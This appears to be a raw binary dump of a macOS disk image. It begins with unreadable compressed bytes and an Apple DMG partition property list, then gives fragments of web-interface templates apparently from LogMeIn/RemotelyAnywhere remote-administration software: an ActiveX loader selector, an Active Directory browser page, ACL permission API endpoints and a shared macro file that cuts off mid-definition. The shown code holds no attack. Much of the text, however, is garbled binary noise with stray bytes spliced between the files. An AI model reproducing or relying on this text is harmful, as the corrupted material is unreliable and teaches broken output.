:IJCuYI_Τ539v^fO'{t2Ϗ6:g4Ɨ4O>߽\
i/emE=&C6ʼn?LOL_m/|Z̜_IpR/],wXwf;*3uM
 p`_M@|NqHn#Vӷ3XӇ:;.5cD/Enf?ւ7<	9p'@_`x>,T=ft~N+/}_!`'|N}}
\_2~6}Vp}'4/8tZM6b`[ ryMIo$=˸Q3=c]T}ØЗxzK61ک`z6>=G@n~l[63_9:󮥞I_(pTc!m~߽j-m}LI'3ǓVB=d!嚞\9v^[gm1wS3?F<$-<c/+ך
Sw/[³\^+6kgWSy?}/c	N?S!u`|Y6,ґ3/0 gYgf|\3%|6#3L3DR&_QxvMغ.@Y#Y)RI\!1q5OJ/#B-,bo[mk08_^S:FWϧhJI'ǿǙglse;n4g7x۷xecxMYc˸$_x_dRB,^˱e,%cQR-如=g›
`Y*:lsd6\{ܮ)G)$u{##}ـ2g ܣ	ğ/~u
/X!vҒݎSޗkqOZdo.3]2@AZݧJ)`[֢ۇQw?#vlzUdV5E6E%:|g*t*Ax,.}2hQC{|onM?KX?Bc`YGx5?q$z(|]ul >߃MiSPe9YX<^9i_E/Q끇EgҺLl-:,ijspj%A`l;8`r,.ߡ8Nϼ׊?S#޺iX~u:(W
I.^.(mGeۙ/q+*Gz@rj%_c:q}恘ލޗIֿH:o=+څuhR9mAթ: V+$^]]i-<ºv	J&CgKWc˩92~H!3>BkL+nIIKre	6c[Hxޗ^B9NwsK4sdXuu=/ţDA>[X%YNi,2d s{j"9UǍ{~yf|ee|/wW?{#^?>UA;[
PWEwPWz?uҼuկ{wkͩniF$灲+k
hQ`_
K!±z+<T8?
ɟ,%W6g|ۉ{z&|[y#Pr%"ߔ,/_~}esEooY~lr]x/&E}mBv$/d/2dkɑQCqCBl|N뒬NYxA[E*w姓ae:L(dYH[V~
C3,)9skˎc}Fv\e'Fñ-zYHVɞg؈uH/:m~΄x]U_.-P
ݖBk!ĘRImPCf-`Z01`_O>jG<^QA"!1)?lnbg3=s9sf9" p
lYWflo0h~N-in)"Zpg<-ϗ˩Ŵki-ԣ'?wj+\95c)ݳq.N1ȥ @t0<8bՄ>'O @ @Nno/ @ 0)_vb8TN}+>o,?Xf۸`f
9;|~f_j})QZ>l+Wˋ|_ol_v{y{s
 @ @ @ @ @ @ @ @2howc>mEY\Zr)oO,ƺ{`9PCݿ= Ě߶72nQ?DgJcS.2Mpʉf?twǶ+ʲ-<B#Cp4@9V6#5*FZ#
9Z{nپ֓vKw(͊j
nGdMom].k,S[\ӻ6UzOAo(jQ/jv7xGښDgok%̚.;YQGr퉚t*Opilg۳.Nf(*Es(ZC-|W~jwk߯9UG~9nkeWh)v屢O˵1ůFXQM!sQuh(Zy ϝʘHsn`=Y&RwUG<j{Oov5{'0w৭MG!!+dsX|,jѪnI]1|]Z]e-[Yzp0|d(7QfՌכrʼPYwHXY9`>S^epԧ+egԢQ5`ԧGbYJk-Qiܐ(f\-_lѳ7j3uJSOm(josc:Mg^kyg<Sυmo3ONZN,XozWיM.tv].|
gﻣwM{^量}W,]9y[f0W^g)>;Z]J#Kߵ?EL?ӥWx @ 01⿪}[7e};Ɩ/>^|W75c]~"I"}&0=@\;f|rxs2d^9r2C~+S=Ew~.O|_4|	>-^5!a䩪Ə,!@ @@yO㕳'd{7#;2D{I @ ,plT^+N9CA뭩FwSjP[7l3iĔtL훉Qяy$-]r^܇՚9<кx'Is&^핗6r'<vEf]pXcq{Y(5^]@LQczJxeۣ^z_1mz^s9ݲݔǥQz^nU䱥Wvu?Fv~OsnOMhI[Rl|mkV^Ȗ`QLm#:S8]lce26m3kLXZK1}uri4%Ʊ4ǚil{t}\,yZ4]zw,ua_fy֔Wcv:yjm{aj]|D9ř\DZjm%=qX*Gcpuq֗sGB}{K /|uX&lZ>̼Ij99
ٲ2-P-Ǵhsy)&Wnomm7ߞe{xU-Gxu:vskA>L
eCfҜY׆˥}5+ΩYx4˚gҕ3Z"C;ѻy{=깵>2w]19=1/̾~Sw}X/ϗ
nؾOذ)r1ߓ/@msb%B	o^63gެ_E[H(w-x2[$@ @ @ @ @ @ @ @@_W]cܢ'3P @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @e(?:<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>resource-fork</key>
	<dict>
		<key>blkx</key>
		<array>
			<dict>
				<key>Attributes</key>
				<string>0x0050</string>
				<key>Data</key>
				<data>
				bWlzaAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAA
				AAII/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
				AAIAAAAgakCOuwAAAAAAAAAAACCkJwAAAgAAMGlwAAUA
				AAAFAAAAAAABAYE49AAAAAEAAAAEAYE4AJkGr1y//9xQ
				AAUAAAAAAAEAAAABAYE4AAAAAAABgTgAmQbvAL//3FCr
				KPQGmQbvjAAwaXAABQAAAAUAAAAFAAAAAAAAqP38eAAx
				fOAAAAACgAAABQAAAsEAAAAAAAAAAAAAAAAAAAABAAAA
				AAAAj18AAAAAAAAAFv////8AAAAAAAAAAAAAAAEAAAAA
				AAAAAAAAAAAAAAAAAAAAAAAAAAA=
				</data>
				<key>ID</key>
				<string>-1</string>
				<key>Name</key>
				<string>Driver Descriptor Map (DDM : 0)</string>
			</dict>
			<dict>
				<key>Attributes</key>
				<string>0x0050</string>
				<key>Data</key>
				<data>
				bWlzaAAAAAEAAAAAAAAAAQAAAAAAAAA/AAAAAAAAAAAA
				AAIIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
				AAIAAAAguPUcGQAAAAAAAAAAACCkJwAAAgAAMGlwAAUA
				AAAFAAAAAAABAYE49AAAAAEAAAAEAYE4AJkGr1y//9xQ
				AAUAAAAAAAEAAAABAYE4AAAAAAABgTgAmQbvAL//3FCr
				KPQGmQbvjAAwaXAABQAAAAUAAAAFAAAAAAAAqP38eAAx
				fOAAAAACgAAABQAAAsEAAAAAAAAAAAAAAAAAAAA/AAAA
				AAAAj3UAAAAAAAABIf////8AAAAAAAAAAAAAAD8AAAAA
				AAAAAAAAAAAAAAAAAAAAAAAAAAA=
				</data>
				<key>ID</key>
				<string>0</string>
				<key>Name</key>
				<string>Apple (Apple_partition_map : 1)</string>
			</dict>
			<dict>
				<key>Attributes</key>
				<string>0x0050</string>
				<key>Data</key>
				<data>
				bWlzaAAAAAEAAAAAAAAAQAAAAAAAAFHgAAAAAAAAAAAA
				AAIIAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
				AAIAAAAgA4+TLwAAAAAAAAAAACCkJwAAAgAAMGlwAAUA
				AAAFAAAAAAABAYE49AAAAAEAAAAEAYE4AJkGr1y//9xQ
				AAUAAAAAAAEAAAABAYE4AAAAAAABgTgAmQbvAL//3FCr
				KPQGmQbvjAAwaXAABQAAAAUAAAAFAAAAAAAAqP38eAAx
				fOAAAAAvgAAABQAAAsEAAAAAAAAAAAAAAAAAAAHAAAAA
				AAAQpCcAAAAAAAAMZYAAAAUAAAAHAAAAAAAAAcAAAAAA
				AAACAAAAAAAAAAAOAAAAAAAABI+AAAAFAAAABwAAAAAA
				AAPAAAAAAAAAAgAAAAAAAAAEnQAAAAAAAASPgAAABQAA
				AAcAAAAAAAAFwAAAAAAAAAIAAAAAAAAACSwAAAAAAAAE
				j4AAAAUAAAAHAAAAAAAAB8AAAAAAAAACAAAAAAAAAA27
				AAAAAAAABI+AAAAFAAAABwAAAAAAAAnAAAAAAAAAAgAA
				AAAAAAASSgAAAAAAAASPgAAABQAAAAcAAAAAAAALwAAA
				AAAAAAIAAAAAAAAAFtkAAAAAAAAEj4AAAAUAAAAHAAAA
				AAAADcAAAAAAAAACAAAAAAAAABtoAAAAAAAABI+AAAAF
				AAAABwAAAAAAAA/AAAAAAAAAAgAAAAAAAAAf9wAAAAAA
				AASPgAAABQAAAAcAAAAAAAARwAAAAAAAAAIAAAAAAAAA
				JIYAAAAAAAAEj4AAAAUAAAAHAAAAAAAAE8AAAAAAAAAC
				AAAAAAAAACkVAAAAAAAABI+AAAAFAAAABwAAAAAAABXA
				AAAAAAAAAgAAAAAAAAAtpAAAAAAAAASPgAAABQAAAAcA
				AAAAAAAXwAAAAAAAAAIAAAAAAAAAMjMAAAAAAAAEj4AA
				AAUAAAAHAAAAAAAAGcAAAAAAAAACAAAAAAAAADbCAAAA
				AAAABI+AAAAFAAAABwAAAAAAABvAAAAAAAAAAgAAAAAA
				AAA7UQAAAAAAAASPgAAABQAAAAcAAAAAAAAdwAAAAAAA
				AAIAAAAAAAAAP+AAAAAAAAAEj4AAAAUAAAAHAAAAAAAA
				H8AAAAAAAAACAAAAAAAAAERvAAAAAAAABI+AAAAFAAAA
				BwAAAAAAACHAAAAAAAAAAgAAAAAAAABI/gAAAAAAAASP
				gAAABQAAAAcAAAAAAAAjwAAAAAAAAAIAAAAAAAAATY0A
				AAAAAAAEj4AAAAUAAAAHAAAAAAAAJcAAAAAAAAACAAAA
				AAAAAFIcAAAAAAAABI+AAAAFAAAABwAAAAAAACfAAAAA
				AAAAAgAAAAAAAABWqwAAAAAAAASPgAAABQAAAAcAAAAA
				AAApwAAAAAAAAAIAAAAAAAAAWzoAAAAAAAAEj4AAAAUA
				AAAHAAAAAAAAK8AAAAAAAAACAAAAAAAAAF/JAAAAAAAA
				BI+AAAAFAAAABwAAAAAAAC3AAAAAAAAAAgAAAAAAAABk
				WAAAAAAAAASPgAAABQAAAAcAAAAAAAAvwAAAAAAAAAIA
				AAAAAAAAaOcAAAAAAAAEj4AAAAUAAAAHAAAAAAAAMcAA
				AAAAAAACAAAAAAAAAG12AAAAAAAABI+AAAAFAAAABwAA
				AAAAADPAAAAAAAAAAgAAAAAAAAByBQAAAAAAAASPgAAA
				BQAAAAcAAAAAAAA1wAAAAAAAAAIAAAAAAAAAdpQAAAAA
				AAAEj4AAAAUAAAAHAAAAAAAAN8AAAAAAAAACAAAAAAAA
				AHsjAAAAAAAABI+AAAAFAAAABwAAAAAAADnAAAAAAAAA
				AgAAAAAAAAB/sgAAAAAAAASPgAAABQAAAAcAAAAAAAA7
				wAAAAAAAAAIAAAAAAAAAhEEAAAAAAAAEj4AAAAUAAAAH
				AAAAAAAAPcAAAAAAAAACAAAAAAAAAIjQAAAAAAAABI+A
				AAAFAAAAEwAAAAAAAD/AAAAAAAAAAcAAAAAAAA0yjAAA
				AAAAAAp7AAAAAAAAAAAAAAAAAABBgAAAAAAAAACAAAAA
				AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQgAAAAAA
				AAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
				AEQAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
				AAAAAAAAAABGAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAA
				AAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAWAAAAAAAAAAA
				AAAAAAAAAACAAAAFAAAACQAAAAAAAEhYAAAAAAAAAgAA
				AAAAAA09BwAAAAAAA2cgAAAAAQAAAAIAAAAAAABKWAAA
				AAAAAAIAAAAAAAAAnNAAAAAAAAQAAIAAAAUAAAAPAAAA
				AAAATFgAAAAAAAACAAAAAAAABJzQAAAAAAADU6OAAAAF
				AAAABwAAAAAAAE5YAAAAAAAAAgAAAAAAAAfwcwAAAAAA
				A9gTgAAABQAAACEAAAAAAABQWAAAAAAAAAGAAAAAAAAL
				yIYAAAAAAAFpegAAAAIAAAAhAAAAAAAAUdgAAAAAAAAA
				BgAAAAAADTIAAAAAAAAAAACAAAAFAAAAIQAAAAAAAFHe
				AAAAAAAAAAEAAAAAAACQlgAAAAAAAAB7AAAAAgAAABAA
				AAAAAABR3wAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAP//
				//8AAAAAAAAAAAAAUeAAAAAAAAAAAAAAAAAAAAAAAAAA
				AAAAAAA=
				</data>
				<key>ID</key>
				<string>1</string>
				<key>Name</key>
				<string>disk image (Apple_HFS : 2)</string>
			</dict>
			<dict>
				<key>Attributes</key>
				<string>0x0050</string>
				<key>Data</key>
				<data>
				bWlzaAAAAAEAAAAAAABSIAAAAAAAAAAKAAAAAAAAAAAA
				AAIIAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
				AAIAAAAgAAAAAAAAAAAAAAAAACCkJwAAAgAAMGlwAAUA
				AAAFAAAAAAABAYE49AAAAAEAAAAEAYE4AJkGr1y//9xQ
				AAUAAAAAAAEAAAABAYE4AAAAAAABgTgAmQbvAL//3FCr
				KPQGmQbvjAAwaXAABQAAAAUAAAAFAAAAAAAAqP38eAAx
				fOAAAAACAAAAAgAAABAAAAAAAAAAAAAAAAAAAAAKAAAA
				AAAAAAAAAAAAAAAAAP////8AAAAAAAAAAAAAAAoAAAAA
				AAAAAAAAAAAAAAAAAAAAAAAAAAA=
				</data>
				<key>ID</key>
				<string>2</string>
				<key>Name</key>
				<string> (Apple_Free : 3)</string>
			</dict>
		</array>
		<key>plst</key>
		<array>
			<dict>
				<key>Attributes</key>
				<string>0x0050</string>
				<key>Data</key>
				<data>
				AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
				AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
				AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
				AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
				AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
				AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
				AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
				AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
				AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
				AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
				AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
				AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
				AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
				AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
				AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
				AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAQAAAAAAAAAA
				AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
				AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
				AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
				AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
				AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
				AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
				AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
				AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
				AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
				AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
				AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
				AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
				AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
				AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
				AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
				AAAAAAAAAAAA
				</data>
				<key>ID</key>
				<string>0</string>
				<key>Name</key>
				<string></string>
			</dict>
		</array>
	</dict>
</dict>
</plist>
koly | '0ip88\P88P(0ipx1|R*NEactivex.inc0v<?ratmpl?>
<?
if not ACTIVEX.CAB	
	if BRAND.LOGMEIN
		if ACTIVEX.Version
			if HTTP.USERAGENT.X64
				set session ACTIVEX.CAB = ACTIVEX.x64 "?rnd=" RND "#version=" ACTIVEX.Version
			else
				set session ACTIVEX.CAB = ACTIVEX.x86 "?rnd=" RND "#version=" ACTIVEX.Version
			endif
		else
			if HTTP.USERAGENT.X64
				set session ACTIVEX.CAB = "activex/x64/RACtrl.cab" "?rnd=" RND "#version=1,0,0,5249"
			else
				set session ACTIVEX.CAB = "activex/RACtrl.cab" "?rnd=" RND "#version=1,0,0,5249"
			endif
		endif
    else
		// set activex cabinet location
		if HTTP.USERAGENT.X64
			set session ACTIVEX.CAB = "activex/x64/RACtrl.cab"
		else
			set session ACTIVEX.CAB = "activex/RACtrl.cab"
		endif

		set session ACTIVEX.CAB = ACTIVEX.CAB "?rnd=" RND "#version=1,0,0,1668"
	endif
endif
?>
UXadsinfo.html0<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<html>
<head><?include "setupdomain.html"?>
<?include "style.inc"?>
</head>

<body>

<?set default REQ.PATH="ADs:"?>
<?if REQ.UPDATE?><?action "adspropset"?><?usemacro WINERRDLG()?><?endif?>
<?if REQ.DELETE?><?action "adspropdel"?><?usemacro WINERRDLG()?><?endif?>
<?action "adsinfo"?>

<?
defmacro GETICO(CLASS)
switch CLASS
case "User"
set ICO="ico_user.png"
case "Group"
set ICO="ico_group.png"
case "Computer"
set ICO="menu_script.png"
case "Domain", "domainDNS", "builtinDomain"
set ICO="menu_home.png"
case "Service"
set ICO="menu_sysinfo.gif"
case "FileShare"
set ICO="ico_share.png"
case "container"
set ICO="menu_folder.png"
case "Namespace"
set ICO="menu_server.png"
case "Schema"
set ICO="menu_pref.png"
case "IIsComputer"
set ICO="menu_script.png"
case "IIsWebservice", "IIsWebserver"
set ICO="menu_manage.png"
case "IIsSmtpService", "IIsSmtpServer"
set ICO="menu_manage.png"
case "IIsFtpService", "IIsFtpServer"
set ICO="menu_manage.png"
case "IIsObject"
set ICO="menu_file.png"
case default
set ICO="menu_custom.png"
endswitch
endmacro
?>

<div class="window">
<div class="titleBar"><?usemacro TITLEICON("server")?><span class="titleText">&MSG.INFO.ADS.TITLE& (&OBJECT.NAME&)</span></div>
<div class="buttonBar">
<div class="buttonGroup">
<a href="title.html?favname=%MSG.INFO.ADS.TITLE%%20%28%OBJECT.PATH%%29&favicon=menu_server.png&favargs=%TEMPLATE%%3Fpath=%OBJECT.PATH%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?path=%OBJECT.PATH%&%RND%"><img src="img/ico_refresh.gif" border="0" title="&MSG.DIALOG.UPDATE&"></a>
</div>
</div>
<center>

<br>
<?usemacro GETICO(OBJECT.CLASS)?>
<img src="img/&ICO&?bg=%COLOR.DlgBack%" align="absmiddle">&nbsp;<b><?&OBJECT.CLASS?></b>&nbsp;<?&OBJECT.PATH?><br>
<br>

<?if WINERRMSG?><b><?&MSG.DIALOG.ERROR?>:</b> <?&WINERRMSG?><br><br><?endif?>

<?if REQ.EDIT?>

<form action="&TEMPLATE&" method="post">
<input type="hidden" name="path" value="&REQ.PATH&">
<input type="hidden" name="name" value="&REQ.NAME&">

<?&REQ.NAME?>: <input type="text" name="value" value="&REQ.VALUE&" size="40"><br>
<br>
<?if ACTIONS has "-adspropset-"?><input type="submit" name="update" value="&MSG.DIALOG.APPLY&"><?endif?>
<?if ACTIONS has "-adspropdel-"?><input type="submit" name="delete" value="&MSG.DIALOG.DELETE&" onclick="return confirm('$MSG.DIALOG.MAKESURE$');"><?endif?>
<input type="submit" name="cancel" value="&MSG.DIALOG.CANCEL&">

</form>

<?else?>

<?if PROPS>"0"?>
<table class="inner" width="80%">
<tr><th colspan="4"><?&MSG.INFO.ADS.PROPERTIES?></th></tr>
<tr class="ttd">
<td><?&MSG.NAME?></td>
<td><?&MSG.VALUE?></td>
<td><?&MSG.TYPE?></td>
<td><?&MSG.INFO.ADS.NEED?></td>
</tr>
<?enum PROPS?>
<tr>
<td><?if ACTIONS has "-adspropset-"?><a href="&TEMPLATE&?edit=prop&path=%OBJECT.PATH%&name=%PROP.NAME%&value=%PROP.VALUE%"><?&PROP.NAME?></a><?else?><?&PROP.NAME?><?endif?></td>
<td><?if PROP.VALUE?><?if PROP.TYPE="integer"?>0x<?&PROP.VALUE_hex2?>&nbsp;(<?&PROP.VALUE?>)<?else?><?&PROP.VALUE?><?endif?><?elseif PROP.ERROR?><i><?&MSG.DIALOG.ERROR?>:&nbsp;<?&PROP.ERROR?></i><?else?>&nbsp;<?endif?></td>
<td><?if PROP.TYPE?><?&PROP.TYPE?><?else?><i>(<?&MSG.CONFIG.NA?>)</i><?endif?></td>
<td><?&MSG.INFO.ADS.NEED:PROP.NEED?></td>
</tr>
<?next?>
</table><br>
<?endif?>

<?if CHILDREN>"0"?>
<table class="inner">
<tr><th colspan="4"><?&MSG.INFO.ADS.CHILDREN?></th></tr>
<tr class="ttd">
<td colspan="2"><?&MSG.INFO.ADS.CLASS?></td>
<td><?&MSG.NAME?></td>
<td><?&MSG.PATH?></td>
</tr>
<?enum CHILDREN?>
<tr>
<?usemacro GETICO(CHILD.CLASS)?>
<td><img src="img/&ICO&?bg=%COLOR.DlgBack%"></td>
<td><?&CHILD.CLASS?></td>
<td><a href="&TEMPLATE&?path=%CHILD.PATH%"><?&CHILD.NAME?></a></td>
<td><a href="&TEMPLATE&?path=%CHILD.PATH%"><?&CHILD.PATH?></a></td>
</tr>
<?next?>
</table><br>
<?endif?>

<form action="&TEMPLATE&" method="get">
<input type="hidden" name="path" value="&REQ.PATH&">
<input type="submit" name="reload" value="&MSG.DIALOG.UPDATE&" title="&REQ.PATH&">
<?if OBJECT.PARENT?>
<input type="button" name="parent" value="&MSG.DIALOG.PARENT&" title="&OBJECT.PARENT&" onclick="window.location='$TEMPLATE$?path=%OBJECT.PARENT%'">
<?endif?>
<?if OBJECT.PATH != "ADs:"?>
<input type="button" name="parent" value="&MSG.DIALOG.ROOT&" title="ADs:" onclick="window.location='$TEMPLATE$?path=ADs%3A'">
<?endif?>
<input type="button" name="cancel" value="&MSG.DIALOG.BACK&" onclick="history.back()">
</form>
<br>

<?if NTLM?><fieldset><font color="<?&COLOR.Link?>"><?&MSG.INFO.ADS.NTLMNOTE?></font></fieldset><br><br><?endif?>

<?endif?>

</center>
</div>
</body>
</html>
]G$api\acl\apply.json[Ur<?ratmpl?><?
	nocache
	
	include "/api/common.macro"
	
	// check availability
	usemacro NOMAC()
	
	// Apply current permission changes
	
	usemacro CHECKREQPARAM.EXIST(REQ.ACLID, "ACL ID", "ACLID")
	
	action "aclsave"	
	usemacro ERRORHANDLER()
	
?>
{
	"result": {"code": "ok", "message": "Successful Operation"}, 
	"lang": {}
}
ٵP(api\acl\apply.schemaoU{
	"result": {	    
		"code": { "_type": "string" },
		"message": { "_type": "string" }
	},
	"lang": {}
}r>a&api\acl\cancel.jsonmF<?ratmpl?><?
	nocache

	include "/api/common.macro"
	
	// check availability
	usemacro NOMAC()

	// Reject current permission changes
	
	usemacro CHECKREQPARAM.EXIST(REQ.ACLID, "ACL ID", "ACLID")
	
	set REQ.DELACE="1"
	action "aclend"
	usemacro ERRORHANDLER()
	
?>
{
	"result": {"code": "ok", "message": "Successful Operation"}, 
	"lang": {}
}
B(9*api\acl\cancel.schemao{
	"result": {	    
		"code": { "_type": "string" },
		"message": { "_type": "string" }
	},
	"lang": {}
}r>a"api\acl\perm.jsonϪ<?ratmpl?><?
	nocache

	include "/api/common.macro"

	usemacro NOMAC()


	//
	// ACL Service
	//
	// @param KEY [GET]
	//

	switch REQ.HTTPMETHOD
	case "GET"
		// [GET] perm.json
		// List ACE-s for a specific registry key OR file OR share
		//
		// @param REQ.KEY (string) - Registry key
		// OR
		// @param REQ.DIR (string) - Directory and
		// @param REQ.FILE (string) - file
		// OR
		// @param REQ.SHARE (string) - Share name
		//
	case "POST"
		// [POST] perm.json
		//
		// REQ.ACLID
		// REQ.SID
		// REQ.PMASK
		usemacro CHECKREQPARAM.EXIST(REQ.ACLID, "ACL ID", "ACLID")
		usemacro CHECKREQPARAM.EXIST(REQ.SID, "Security Identifier", "SECURITYID")
		usemacro CHECKREQPARAM.EXIST(REQ.PMASK, "Permission Mask", "ACL.PERME")

		action "acladd"

		usemacro ERRORHANDLER()
	case "DELETE"
		// -- remove acl from key --
		// REQ.ACE = Index number in list of ACEs
		// REQ.ACLID
		usemacro CHECKREQPARAM.EXIST(REQ.ACLID, "ACL ID", "ACLID")
		usemacro CHECKREQPARAM.EXIST(REQ.ACE, "ACE list Index", "ACEINDEX")

		action "acldel"

		usemacro ERRORHANDLER()
	endswitch

	action "acllist"

	usemacro ERRORHANDLER()
?>{"result":
	{
		"acl": {
			"id": "#ACL.ID#",
			"mode": "#ACL.MODE#",
			"diff": <? usemacro BOOL(ACL.DIFF)?>
		},
		"aces": [<?
	if ACES
		usemacro CommaInit()
		enum ACES
			usemacro CommaDo() ?>
			{
				"index": <? usemacro NUMBER(ACE.INDEX)?>,
				"user": "#ACE.USER#",
				"mode": "#ACE.MODE#",
        "label_mode": "#MSG.ACL.MODE:ACE.MODE#",
				"flags": "#ACE.FLAGS#",				
				"mask": <?if ACE.SPECIAL?>"#ACE.SPECIAL#"<?else?>"other"<?endif?>,
        "label_mask": <?if ACE.SPECIAL?>"#MSG.ACL.MASK:ACE.SPECIAL#"<?else?>"#MSG.ACL.MASK.OTHER# (#ACE.FLAGS#)"<?endif?>
			}<?next
	endif // ACES
		?>]
	},
	"lang": {}
}
VU&api\acl\perm.schema{
	"result": {
		"acl": {
			"id": { "_type": "string" },
			"mode": { "_type": "string" },
			"diff": { "_type": "bool" }
		},
		"aces": {
			"_type": "array",
			"_element": {
				"index": { "_type": "number" },
				"user": { "_type": "string" },
				"mode": { "_type": "string" },
				"label_mode": { "_type": "string" },
				"mask": { "_type": "string" },
				"label_mask": { "_type": "string" },
				"flags": { "_type": "string" }
			}
		}
	},
	"lang": {}
}
 @"api\acl\user.jsonF<?ratmpl?><?
	nocache

	include "/api/common.macro"

	usemacro NOMAC()

	// [GET] user.json
	//
	// Return users and sids list
	//
	// @param KEY Actual registry path
	// 
	// OR
	// 
	// @param DIR directory
	// @param FILE filename
	//
	// @param LISTCACHED (optional)
	// @param LISTDOMAIN (optional)
	// @param UPDATEFILES (optional) ??
	// @param UPDATEDIRS (optional) ??
	//

	
	set REQ.USRLST="1"

	action "aclusers"

	usemacro ERRORHANDLER()

?>{"result": {

	"domain": "#LISTDOMAIN#",
	"cached": <?usemacro BOOL(LISTCACHED)?>,
	"users": [
	    <?if USERS
			usemacro CommaInit()
			enum USERS
				usemacro CommaDo() ?>
				{
					"sid": "#USER.SID#",
					"name": "#USER.NAME#"
				}
			<?next
		endif?>
	]
	
},
"lang": {}
}
<i&api\acl\user.scheman{"result": {

	"domain": { "_type": "string" },
	"cached": { "_type": "bool" },
	"users" : {
		"_type": "array",
		"_element": {
			"sid": { "_type": "string" },
			"name": { "_type": "string" }
		}
	}
	
},
"lang": {}
}
m֯5 api\common.macro*f<?ratmpl?><?nocache?><?

	// ==================================================
	// Macro to disable functionality on Mac
	// ==================================================
	defmacro NOMAC()
		if ISMAC
			set status s="400 API Not Available in Mac version"
			?>{"result": {"code": "400 Bad Request", "message": "API Not Available in Mac version"}, "lang": {"PRODUCTNAME": "#PRODUCTNAME#", "PRODUCTABBR": "#PRODUCTABBR#"}}<?
			exit
		endif
	endmacro

	// ==================================================
	// Macro to disable functionality in LMI version
	// ==================================================
	defmacro NOLMI()
		if BRAND.LOGMEIN
			set status s="400 API Not Available in LogMeIn version"
			?>{"result": {"code": "400 Bad Request", "message": "API Not Available in LogMeIn version"}, "lang": {"PRODUCTNAME": "#PRODUCTNAME#", "PRODUCTABBR": "#PRODUCTABBR#"}}<?
			exit
		endif
	endmacro
	
	// ==================================================
	// Macro to disable functionality in Free version
	// ==================================================
	defmacro NOFREE()
		if BRAND.LOGMEIN.FREE
			set status s="400 API Not Available in Free version"
			?>{"result": {"code": "400 Bad Request", "message": "API Not Available in Free version"}, "lang": {"PRODUCTNAME": "#PRODUCTNAME#", "PRODUCTABBR": "#PRODUCTABBR#"}}<?
			exit
		endif
	endmacro

	// ==================================================
	// Macro to disable functionality in RA version
	// ==================================================
	defmacro NORA()
		if not BRAND.LOGMEIN and not BRAND.LOGMEIN.FREE and not ISMAC
			set status s="400 API Not Available in RemotelyAnyWhere"
			?>{"result": {"code": "400 Bad Request", "message": "API Not Available in RemotelyAnyWhere"}, "lang": {"PRODUCTNAME": "#PRODUCTNAME#", "PRODUCTABBR": "#PRODUCTABBR#"}}<?
			exit
		endif
	endmacro
	
	
	// ==================================================
	// Error handling macro, uses WINERRNUM
	// ==================================================
	defmacro ERRORHANDLER()
		if WINERRNUM
			debug WINERRMSG
			debug WINERRNUM
			set status s="500 Internal Server Error"
